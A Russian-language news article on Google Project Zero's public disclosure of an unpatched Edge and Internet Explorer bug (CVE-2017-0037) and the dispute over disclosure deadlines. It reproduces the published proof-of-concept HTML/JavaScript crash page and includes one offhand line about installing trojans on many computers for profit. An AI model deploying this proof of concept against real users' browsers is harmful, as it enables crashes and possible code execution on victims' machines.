Google раскрыла незакрытую уязвимость в Edge и IE

0
23

Сотрудники подразделения Project Zero опубликовали информацию о незакрытом баге в браузерах Internet Explorer и Edge. Баг позволяет осуществить атаку с удалённым исполнением кода через аварийное прекращение работы браузера. Впервые о нём было сообщено в Microsoft ровно три месяца назад — 25 декабря 2016 года. Компания Microsoft до сих пор не удосужилась выпустить патч, поэтому Google выложила информацию в открытый доступ.

В подробностях баг описан на странице баг-трекера Chromium.

Судя по описанию, баг содержится в путанице классов HandleColumnBreak
OnColumnSpanningElement
. На странице баг-трекреа есть 17-строчный пример, с помощью которого можно обрушить этот процесс. Основное внимание здесь следует уделить переменным rcx и rax.

<!— saved from url=(0014)about:internet —>
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>

«Злоумышленник может повлиять на rax, изменяя свойства таблицы, такие как border-spacing и width для первого th элемента, — сказано в сообщении Project Zero. — Таким образом, созданной веб-странице нужно лишь указать rax в памяти, которая уже под контролем».

Информация об уязвимости опубликована в соответствии со стандартным условием о 90 днях «молчания», которое принято в Google и большинстве других хакерских организаций, которые специализируются на поиске уязвимостей. В соответствии с этими правилами, первым делом информация сообщается компании-разработчику, чтобы она исправила баг. Если она этого неделает, то в течение 90 дней (или иного интервала) информация об эксплуатации уязвимости выкладывается в открытый доступ. С этого момента кто угодно может легко использовать баг в Windows (IE), который работает практически на всех компьютерах под Windows в мире. Вы можете за несколько минут установить трояны на сотни тысяч компьютеров и заработать миллионы долларов.

Предполагается, что такой мощный стимул — повсеместная эксплуатация бага — стимулирует разработчика быстрее выпустить патч. Эта логика действует в том случае, когда баг реально уже эксплуатируется.

В прошлый раз такая несогласованность действий Google и Microsoft возникла в ноябре 2016 года. Тогда специалисты Google Threat Analysis Group опубликовали факт наличия опасной уязвимости в Windows всего через 10 дней после того, как сообщили о ней в Microsoft. У редмондской компании просто физически не было времени, чтобы проверить баг, протестировать его на всех конфигурациях, подготовить патч, протестировать его на всех конфигурациях — и выкатить обновление в Windows Update. Google пошла на такой шаг, потому что обнаруженная уязвимость уже активно эксплуатировалась хакерами. По регламенту Google Threat Analysis Group, срок публикации информации об активно эксплуатируемых уязвимостях составляет 7 дней. Можно сказать, что в данном случае компании Microsoft дали поблажку.

Компания Google не первый раз разглашает информацию о незакрытых уязвимостях в Windows. То же самое она сделала несколько раз в прошлом году, за что её подвергли критике коллеги из Microsoft. Якобы такие действия подвергают опасности миллионы пользователей Windows. Однажды ситуация была даже интереснее, потому что Microsoft специально просила Google подождать ещё несколько дней с разглашением — дать им время выпустить патч для Windows 8.1, но Google не отступилась. Принципы есть принципы.

Кажется, что у двух компаний просто разные взгляды на проблему. Google считает, что информирование пользователей об опасности только повышает общую безопасность и заставит раньше выпустить патч. Microsoft считает, что незачем выносить грязное бельё на публику.

Статистика за 2015-2016 годы показывает минимальное количество уязвимостей у Edge и Safari: 134 и 191, соответственно. В то же время у IE и Chrome найдено по 346. Но оцените степень опасности этих уязвимостей. У Edge уязвимости на исполнение кода — 74 (55,22% от общего количества), у IE — 239 (69,08%), у Safari — 132 (69,11%). В то время как у Chrome — всего десять штук за два года, из них восемь в 2015 году и две в 2016 году (2,89% от общего количества).

Полная версия таблицы. Примечание: в таблице учтены найденные уязвимости во всех версиях браузеров
В настоящее время баг зарегистрирован под идентификатором CVE-2017-0037.

Источник